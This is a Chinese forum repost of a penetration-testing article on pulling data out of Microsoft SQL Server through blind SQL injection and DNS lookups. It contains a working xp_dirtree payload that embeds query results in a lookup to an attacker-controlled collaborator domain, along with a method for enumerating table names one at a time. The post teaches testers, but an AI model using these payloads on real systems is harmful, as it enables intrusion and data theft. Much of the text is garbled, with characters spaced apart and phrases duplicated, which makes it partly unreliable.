设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [13760] 2019-02-15_如何使用DNS和SQLi从数据库中获取数 ...
返回列表 发新帖
查看: 0|回复: 0

[13760] 2019-02-15_如何使用DNS和SQLi从数据库中获取数据样本

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2019-02-15_如何使用DNS和SQLi从数据库中获取数据样本 如 何 使 用 D N S 和 S Q L i 从 数 据 库 中 获 取 数 据 样 本 s e c i s t   F r e e B u f   2 0 1 9 - 0 2 - 1 5 泄 露 数 据 的 方 法 有 许 多 ， 但 你 是 否 知 道 可 以 使 用 泄 露 数 据 的 方 法 有 许 多 ， 但 你 是 否 知 道 可 以 使 用 D N S 和 和 S Q L i 从 数 据 库 中 获 取 数 据 样 本 ？ 本 文 我 将 为 大 家 介 绍 一 从 数 据 库 中 获 取 数 据 样 本 ？ 本 文 我 将 为 大 家 介 绍 一 些 利 用 些 利 用 S Q L 盲 注 从 盲 注 从 D B 服 务 器 枚 举 和 泄 露 数 据 的 技 术 。 服 务 器 枚 举 和 泄 露 数 据 的 技 术 。 在 最 近 的 一 个 W e b 应 用 测 试 中 ， 我 发 现 了 一 个 潜 在 的 S Q L i 漏 洞 。 使 用 B u r p 的 C o l l a b o r a t o r 服 务 通 过 D N S 交 互 最 终 我 确 认 了 该 S Q L 注 入 漏 洞 的 存 在 。 我 尝 试 使 用 S Q L m a p 进 行 一 些 额 外 的 枚 举 和 泄 露 ， 但 由 于 S Q L m a p   h e a d e r 的 原 因 W A F 阻 止 了 我 的 请 求 。 我 需 要 另 一 种 方 法 来 验 证 S Q L i 并 显 示 可 以 从 服 务 器 恢 复 数 据 。 在 之 前 的 文 章 中 ， 我 向 大 家 展 示 了 如 何 使 用 x p _ d i r t r e e 通 过 S Q L i 来 捕 获 S Q L   S e r v e r 用 户 哈 希 值 的 方 法 。 这 里 我 尝 试 了 相 同 的 方 法 ， 但 由 于 客 户 端 防 火 墙 上 的 出 站 过 滤 而 失 败 了 。 此 外 ， 在 上 篇 文 章 中 我 还 引 用 了 G r a c e f u l S e c u r i t y 的 文 章 内 容 ， 而 在 本 文 中 它 也 将 再 次 派 上 用 场 。 即 使 有 出 站 过 滤 ， x p _ d i r t r e e 仍 可 用 于 从 网 络 中 泄 露 数 据 。 这 是 因 为 S Q L 服 务 器 必 须 在 x p _ d i r t r e e 操 作 的 目 标 上 执 行 D N S 查 找 。 因 此 ， 我 们 可 以 将 数 据 添 加 为 域 名 的 主 机 或 子 域 部 分 。 例 如 ， 如 果 我 在 c o l l a b o r a t o r . r e d s i e g e . n e t 上 设 置 D N S 服 务 器 ， 我 可 以 强 制 x p _ d i r t r e e 在 d a t a . c o l l a b o r a t o r . r e d s i e g e . n e t 上 执 行 D N S 查 找 ， 我 的 D N S 服 务 器 将 接 收 该 主 机 的 查 询 ， 允 许 我 提 取 来 自 请 求 的 数 据 。 可 能 这 么 说 你 还 有 些 混 乱 ， 我 们 通 过 一 个 实 例 来 讲 解 。 请 思 考 以 下 代 码 ： 在 此 S Q L 查 询 中 ， 我 们 声 明 了 一 个 名 为 d a t a 的 变 量 ， 我 们 使 用 S E L E C T   H O S T _ N A M E ( ) 的 结 果 来 填 充 该 变 量 ， 然 后 在 h o s t n a m e . c o l l a b o r a t o r . r e d s i e g e . n e t 上 尝 试 x p _ d i r t r e e 。 我 的 测 试 系 统 名 为 I N T R U D E R 。 在 我 的 测 试 系 统 上 执 行 这 个 查 询 导 致 了 对 I N T R U D E R . c o l l a b o r a t o r . r e d s i e g e . n e t 的 查 找 ， 如 下 所 示 。 D E C L A R E   @ d a t a   v a r c h a r ( 1 0 2 4 ) ; S E L E C T   @ d a t a   =   ( S E L E C T   H O S T _ N A M E ( ) ) ;   E X E C ( ' m a s t e r . d b o . x p _ d i r t r e e   " ' + @ d a t a + ' . c o l l a b o r a t o r . r e d s i e g e . n e t f o o $ " ' ) ;
在 这 一 点 上 ， 我 知 道 有 一 种 可 靠 的 方 法 可 以 来 泄 露 数 据 ， 即 使 需 要 手 动 完 成 。 当 然 ， 对 于 这 个 演 示 我 使 用 S Q L   S e r v e r M a n a g e m e n t   S t u d i o 来 显 示 结 果 发 出 查 询 ， 但 实 际 上 这 与 通 过 S Q L i 实 现 这 一 点 并 没 有 太 大 区 别 ， 唯 一 的 不 同 就 是 需 要 对 部 分 查 询 进 行 U R L 编 码 。 在 下 面 的 示 例 中 ， 红 框 中 的 查 询 语 句 将 会 为 我 们 从 N o r t h w i n d 数 据 库 中 返 回 表 名 。 在 该 查 询 中 你 应 该 已 经 注 意 到 了 有 2 个 S E L E C T 语 句 。 内 部 S E L E C T 语 句 （ 在 上 面 截 图 中 调 用 的 ） 返 回 N o r t h w i n d 数 据 库 中 表 名 的 前 1 0 个 结 果 ， 并 按 升 序 字 母 顺 序 排 序 。 然 后 ， 外 部 （ 第 一 个 ） S E L E C T 语 句 选 择 按 字 母 顺 序 降 序 排 序 的 结 果 集 的 第 一 个 结 果 。 此 查 询 的 结 果 是 我 们 检 索 N o r t h w i n d 数 据 库 中 第 1 0 个 表 的 名 称 。 你 是 不 是 感 到 有 些 疑 惑 ？ 让 我 们 来 分 解 下 。 以 下 内 部 的 S E L E C T 语 句 ， 它 将 返 回 1 0 个 结 果 并 按 升 序 字 母 顺 序 排 序 。 如 下 所 示 ， 完 整 的 查 询 只 返 回 第 1 0 个 表 的 名 称 。 这 是 因 为 我 们 首 先 返 回 了 1 0 个 结 果 ， 并 按 升 序 字 母 顺 序 排 序 ， 然 后 我 们 又 执 行 了 第 二 个 S E L E C T ， 其 中 只 返 回 按 降 序 字 母 顺 序 排 序 的 第 一 个 结 果 。 这 样 一 来 查 询 结 果 将 只 会 为 我 们 返 回 表 名 列 表 中 的 第 1 0 个 结 果 。 知 道 了 这 一 点 后 ， 我 们 就 可 以 使 用 I n t r u d e r 迭 代 所 有 可 能 的 表 名 ， 只 需 修 改 第 二 个 S E L E C T 语 句 并 增 加 每 个 请 求 中 的 结 果 数 即 可 。
如 果 你 在 测 试 中 碰 到 S Q L 盲 注 而 S Q L m a p 无 法 帮 助 你 完 成 任 务 时 ， 你 可 以 参 考 以 下 我 找 到 的 一 些 资 料 链 接 ， 或 许 它 们 能 帮 你 完 成 任 务 甚 至 为 你 带 来 新 的 思 考 ： h t t p : / / p e n t e s t m o n k e y . n e t / c h e a t - s h e e t / s q l - i n j e c t i o n / m s s q l - s q l - i n j e c t i o n - c h e a t - s h e e t h t t p s : / / w w w . g r a c e f u l s e c u r i t y . c o m / s q l - i n j e c t i o n - o u t - o f - b a n d - e x p l o i t a t i o n / h t t p s : / / w w w . w 3 s c h o o l s . c o m / S Q L / t r y s q l s e r v e r . a s p ? f i l e n a m e = t r y s q l _ f u n c _ s q l s e r v e r _ s u b s t r i n g * 参 考 来 源 ： r e d s i e g e ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:21 , Processed in 0.406236 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表